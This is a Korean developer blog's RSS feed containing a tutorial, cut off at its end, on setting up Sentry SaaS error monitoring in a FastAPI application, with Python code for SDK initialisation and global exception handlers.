<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>한발짝 두발짝, 개발짝</title>
    <link>https://cocococo.tistory.com/</link>
    <description>나의 개발 해방 일지</description>
    <language>ko</language>
    <pubDate>Fri, 24 Jul 2026 12:57:37 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>cob</managingEditor>
    <image>
      <title>한발짝 두발짝, 개발짝</title>
      <url>https://tistory1.daumcdn.net/tistory/5045046/attach/d4282cad594645e7b5591c19bc9ef265</url>
      <link>https://cocococo.tistory.com</link>
    </image>
    <item>
      <title>[모니터링] Sentry SaaS를 사용한 오류 모니터링 방법</title>
      <link>https://cocococo.tistory.com/entry/%EB%AA%A8%EB%8B%88%ED%84%B0%EB%A7%81-Sentry-SaaS%EB%A5%BC-%EC%82%AC%EC%9A%A9%ED%95%9C-%EC%98%A4%EB%A5%98-%EB%AA%A8%EB%8B%88%ED%84%B0%EB%A7%81-%EB%B0%A9%EB%B2%95</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Sentry 사이트&lt;/blockquote&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;&lt;a href=&quot;https://sentry.io&quot;&gt;https://sentry.io&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;figure id=&quot;og_1773894276525&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Application Performance Monitoring &amp;amp; Error Tracking Software&quot; data-og-description=&quot;Application performance monitoring for developers &amp;amp; software teams to see errors clearer, solve issues faster &amp;amp; continue learning continuously. Get started at sentry.io.&quot; data-og-host=&quot;sentry.io&quot; data-og-source-url=&quot;https://sentry.io&quot; data-og-url=&quot;https://sentry.io/welcome/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/jrciR/dJMb8XR4HGk/y92yYwL1xx8X9UxLnALKmk/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cjj96a/dJMb8RRQWwg/LDObQ8Jmhngr6YRqh11GD1/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://sentry.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://sentry.io&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/jrciR/dJMb8XR4HGk/y92yYwL1xx8X9UxLnALKmk/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/cjj96a/dJMb8RRQWwg/LDObQ8Jmhngr6YRqh11GD1/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Application Performance Monitoring &amp;amp; Error Tracking Software&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Application performance monitoring for developers &amp;amp; software teams to see errors clearer, solve issues faster &amp;amp; continue learning continuously. Get started at sentry.io.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;sentry.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;Sentry Docs&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.sentry.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://docs.sentry.io/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773894216389&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Sentry Docs | Application Performance Monitoring &amp;amp; Error Tracking Software&quot; data-og-description=&quot;Self-hosted and cloud-based application performance monitoring &amp;amp; error tracking that helps software teams see clearer, solve quicker, and learn continuously.&quot; data-og-host=&quot;docs.sentry.io&quot; data-og-source-url=&quot;https://docs.sentry.io/&quot; data-og-url=&quot;https://docs.sentry.io/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/0o8nr/dJMb8TB8Esn/pglCbtRmzi9ZWaLeBD0PBK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bEA2Tw/dJMb8RRQWvF/PKiPKUGHXk4BbRoj0qp9F1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://docs.sentry.io/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.sentry.io/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/0o8nr/dJMb8TB8Esn/pglCbtRmzi9ZWaLeBD0PBK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bEA2Tw/dJMb8RRQWvF/PKiPKUGHXk4BbRoj0qp9F1/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Sentry Docs | Application Performance Monitoring &amp;amp; Error Tracking Software&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Self-hosted and cloud-based application performance monitoring &amp;amp; error tracking that helps software teams see clearer, solve quicker, and learn continuously.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.sentry.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 20px; font-weight: 600; margin: 24px 0px 12px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-processed=&quot;true&quot; data-complete=&quot;true&quot; data-sfc-root=&quot;c&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[에러 모니터링, 어떤 방식으로 구축하는 것이 좋을까?]&lt;/b&gt;&lt;/h3&gt;
&lt;div data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 12px 0px 16px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-processed=&quot;true&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAEIAxAA&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;Sentry를 도입하는 방법은 크게 두 가지로 나뉩니다. 본인의 상황에 맞는 방식을 선택하는 것이 중요합니다.&lt;/div&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 12px 0px 16px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-processed=&quot;true&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px 0px 12px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-sae=&quot;&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAEIBBAA&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;&lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;&lt;b&gt;Self-Hosted (On-Premise):&lt;/b&gt; 서버에 직접 구축하여 운영하는 방식입니다. 모든 기능을 무료로 쓸 수 있고 데이터 보안에 유리하지만, 서버 관리 리소스가 크다는 단점이 있습니다.&lt;/span&gt;&lt;/li&gt;
&lt;li data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px 0px 12px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-sae=&quot;&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAEIBBAB&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;&lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;&lt;b&gt;SaaS (Cloud):&lt;/b&gt; Sentry에서 제공하는 인프라를 그대로 사용하는 방식입니다. 별도의 서버 관리 없이 가입만으로 바로 사용할 수 있어 편리합니다.&lt;/span&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;div data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 12px 0px 16px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-processed=&quot;true&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAEIBRAA&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 12px 0px 16px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-processed=&quot;true&quot; data-complete=&quot;true&quot; data-hveid=&quot;CAEIBRAA&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;&lt;span data-copy-service-computed-style=&quot;font-family: Arial, sans-serif; font-size: 16px; font-weight: 400; margin: 0px; text-decoration: none; border-bottom: 0px rgb(10, 10, 10);&quot; data-processed=&quot;true&quot; data-complete=&quot;true&quot; data-sfc-cb=&quot;&quot; data-sfc-root=&quot;c&quot; data-sfc-cp=&quot;&quot;&gt;개인 프로젝트나 운영 중인 서비스가 하나라면, &lt;b&gt;Sentry SaaS의 무료 플랜(Developer)&lt;/b&gt;을 활용하는 것이 가장 효율적인 선택입니다. (월에 5,000건 이상 오류가 난다면 일단 서비스를 내리는걸로...)&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;[무료 플랜]&lt;br /&gt;- 에러 수집 (Errors): 월 최대 5,000건 (한도 초과 시 해당 월은 기록이 중단됩니다.)&lt;br /&gt;- 성능 모니터링 (Transactions): 월 최대 10,000건 (API 호출 속도 등 성능 추적)&lt;br /&gt;- 데이터 보관 기간: 발생한 에러 데이터는 90일 동안 보관됩니다.&lt;br /&gt;- 첨부 파일 저장: 로그나 스크린샷 등 최대 1GB까지 저장 가능합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1.&amp;nbsp; 사용법&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-1) 프로젝트 생성&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;a href=&quot;https://sentry.io&quot;&gt;https://sentry.io&lt;/a&gt; 사이트에 접속해서 회원가입 후에 아래 사진과 같이 [Create project] 버튼을 클릭해 프로젝트를 추가합니다.&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3940&quot; data-origin-height=&quot;1704&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGlcGw/dJMcabDv4Dq/kOgB4v50slJAB5U1gdeMZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGlcGw/dJMcabDv4Dq/kOgB4v50slJAB5U1gdeMZ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGlcGw/dJMcabDv4Dq/kOgB4v50slJAB5U1gdeMZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGlcGw%2FdJMcabDv4Dq%2FkOgB4v50slJAB5U1gdeMZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3940&quot; height=&quot;1704&quot; data-origin-width=&quot;3940&quot; data-origin-height=&quot;1704&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-2) 사용 언어 선택&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;프로젝트의 사용하는 언어에 맞게 선택&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3768&quot; data-origin-height=&quot;2182&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cAqDw4/dJMcaiCBSXg/HwNm8ssK5IGBEa9cHTmIS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cAqDw4/dJMcaiCBSXg/HwNm8ssK5IGBEa9cHTmIS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cAqDw4/dJMcaiCBSXg/HwNm8ssK5IGBEa9cHTmIS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcAqDw4%2FdJMcaiCBSXg%2FHwNm8ssK5IGBEa9cHTmIS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3768&quot; height=&quot;2182&quot; data-origin-width=&quot;3768&quot; data-origin-height=&quot;2182&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1-3) SDK 구성&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;생성하게 되면 아래 사진 처럼 설정 가이들 제공해 줍니다. 차례대로 내 프로젝트에 추가하면 사용 가능합니다.&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;3000&quot; data-origin-height=&quot;1584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFCkSS/dJMcai3DV6e/pje3MzJKhPBowD9LH0uW4K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFCkSS/dJMcai3DV6e/pje3MzJKhPBowD9LH0uW4K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFCkSS/dJMcai3DV6e/pje3MzJKhPBowD9LH0uW4K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFCkSS%2FdJMcai3DV6e%2Fpje3MzJKhPBowD9LH0uW4K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3000&quot; height=&quot;1584&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;3000&quot; data-origin-height=&quot;1584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- send_default_pii : 개인 식별 정보 같은 민감한 정보를 Sentry 서버로 전송할지 여부를 설정하는 옵션이다&lt;br /&gt;True 설정시에는 사용자의 IP, 쿠키, HTTP 헤더(Authorization 등), 요청 Body와 같은 민감한 정보를 같이 전송하기 때문에 만약 보안에 취약한 내용도 전송된다면 False로 설정하는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- traces_sample_rate : &amp;nbsp;Sentry는 에러 캡처 외에 API 요청의 처리 시간도 추적할 수 있는데 이때 전체 요청 중 몇 %를 데이터를 수집할지 정하는 옵션&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;값&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;의미&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;0.0&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&amp;nbsp;트레이싱&amp;nbsp;비활성화&amp;nbsp;(에러만&amp;nbsp;수집)&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;0.1&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;전체 요청의 10%만 추적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&amp;nbsp;0.5&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;&amp;nbsp;50%&amp;nbsp;추적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;1.0&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;모든&amp;nbsp;요청&amp;nbsp;추적&amp;nbsp;&amp;nbsp;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;0.1값을 추천한다 모든 요청을 추적하면 Sentry 전송량이 많아져서 비용이 증가하고 앱 성능에도 미세한 오버헤드가 생기기 때문입니다. 에러 모니터링이 주목적이라 10%면 성능 병목을 파악하기에 충분하다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- environment : 어느 환경에서 발생한 오류인이 구분(production,&amp;nbsp;development,&amp;nbsp;staging)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. Code 소스 적용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-1) Sentry 함수 생성&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;1-3 사진을 참고하여 함수를 생성한다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1778042232856&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;&quot;&quot;
Sentry 모니터링 초기화

SENTRY_DSN이 설정된 경우에만 활성화.
- 개발 환경 (로컬): SENTRY_DSN 미설정 -&amp;gt; 비활성화
- 운영 환경 (Docker): SENTRY_DSN 설정 -&amp;gt; 활성화
&quot;&quot;&quot;
import logging

from app.core.config import get_settings

logger = logging.getLogger(__name__)


def init_sentry() -&amp;gt; None:
    &quot;&quot;&quot;
    Sentry SDK 초기화

    SENTRY_DSN이 없으면 아무 동작도 하지 않음.
    sentry_sdk.init()은 DSN이 None이면 내부적으로 비활성화됨.
    &quot;&quot;&quot;
    settings = get_settings()

    if not settings.SENTRY_DSN:
        logger.info(&quot;Sentry DSN not configured, skipping initialization&quot;)
        return

    import sentry_sdk

    sentry_sdk.init(
        dsn=settings.SENTRY_DSN,
        environment=settings.SENTRY_ENVIRONMENT,
        traces_sample_rate=settings.SENTRY_TRACES_SAMPLE_RATE,
        send_default_pii=False,
    )

    logger.info(
        f&quot;Sentry initialized: environment={settings.SENTRY_ENVIRONMENT}, &quot;
        f&quot;traces_sample_rate={settings.SENTRY_TRACES_SAMPLE_RATE}&quot;
    )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- environment 설정으로 개발 or 운영을 나눠 모니터링이 가능합니다. 환경 마다 아래 사진과 같이 로그 확인이 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3ScYi/dJMcac324Ds/IQbUmJQTGioUuZqeE52Mk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3ScYi/dJMcac324Ds/IQbUmJQTGioUuZqeE52Mk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3ScYi/dJMcac324Ds/IQbUmJQTGioUuZqeE52Mk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3ScYi%2FdJMcac324Ds%2FIQbUmJQTGioUuZqeE52Mk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1402&quot; height=&quot;482&quot; data-origin-width=&quot;1402&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2) main.py에 추가&lt;/h4&gt;
&lt;pre id=&quot;code_1778042590010&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;&quot;&quot;
main.py
FastAPI 애플리케이션 진입점
&quot;&quot;&quot;
import logging
from fastapi import FastAPI
from app.core.sentry import init_sentry
...


logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

# Sentry 초기화 (FastAPI 앱 생성 전에 호출해야 ASGI 미들웨어 자동 등록)
init_sentry()


@asynccontextmanager
async def lifespan(app: FastAPI):
 


# 전역 예외 핸들러 등록
register_exception_handlers(app)

...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2-2) 전역 Exception 핸들러에 추가&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;어떤 오류들을 모니터링 할건지 설정한다.&lt;/blockquote&gt;
&lt;pre id=&quot;code_1778042392465&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;&quot;&quot;
전역 예외 핸들러

main.py에서 등록:
    from app.exceptions.handlers import register_exception_handlers
    register_exception_handlers(app)
&quot;&quot;&quot;
import logging
import sentry_sdk
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
from app.exceptions.base import AppError

logger = logging.getLogger(__name__)


def register_exception_handlers(app: FastAPI):
    &quot;&quot;&quot;
    전역 예외 핸들러 등록

    모든 AppError를 HTTP 응답으로 변환
    - 도메인 예외 &amp;rarr; 4xx (400, 404, 409, 422)
    - 인증/인가 &amp;rarr; 401, 403
    - 인프라 &amp;rarr; 5xx (500, 502, 503)
    &quot;&quot;&quot;

    @app.exception_handler(AppError)
    async def app_error_handler(request: Request, exc: AppError):
        &quot;&quot;&quot;
        AppError 계열 통합 처리

        예외의 status_code, error_code를 활용해 HTTP 응답 생성
        &quot;&quot;&quot;
        # 에러 로깅 (5xx는 ERROR, 4xx는 WARNING)
        log_method = logger.error if exc.status_code &amp;gt;= 500 else logger.warning
        log_method(
            f&quot;[{exc.error_code}] {exc.message}&quot;,
            extra={
                &quot;path&quot;: request.url.path,
                &quot;method&quot;: request.method,
                &quot;status_code&quot;: exc.status_code,
                &quot;error_code&quot;: exc.error_code,
                &quot;detail&quot;: exc.detail
            },
            exc_info=exc.status_code &amp;gt;= 500  # 5xx만 스택 트레이스 출력
        )

        # 5xx 에러만 Sentry에 전송
        if exc.status_code &amp;gt;= 500:
            sentry_sdk.capture_exception(exc)

        # 응답 생성
        response_body = {
            &quot;success&quot;: False,
            &quot;error_code&quot;: exc.error_code,
            &quot;message&quot;: exc.message
        }

        # detail이 있으면 추가 (개발 환경에서 유용)
        if exc.detail is not None:
            response_body[&quot;detail&quot;] = exc.detail

        return JSONResponse(
            status_code=exc.status_code,
            content=response_body
        )

    @app.exception_handler(Exception)
    async def unhandled_exception_handler(request: Request, exc: Exception):
        &quot;&quot;&quot;
        예상하지 못한 예외 처리 (폴백)

        AppError로 변환되지 않은 모든 예외를 500으로 처리
        &quot;&quot;&quot;
        logger.error(
            &quot;Unhandled exception&quot;,
            exc_info=exc,
            extra={
                &quot;path&quot;: request.url.path,
                &quot;method&quot;: request.method,
                &quot;exception_type&quot;: type(exc).__name__
            }
        )

        # 미처리 예외는 항상 Sentry에 전송
        sentry_sdk.capture_exception(exc)

        return JSONResponse(
            status_code=500,
            content={
                &quot;success&quot;: False,
                &quot;error_code&quot;: &quot;INTERNAL_SERVER_ERROR&quot;,
                &quot;message&quot;: &quot;서버 내부 오류가 발생했습니다&quot;
            }
        )&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 class=&quot;custom-title&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 오류 로그 확인&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;아래 사진과 같이 상세하게 오류 모니터링이 가능합니다.&lt;/blockquote&gt;
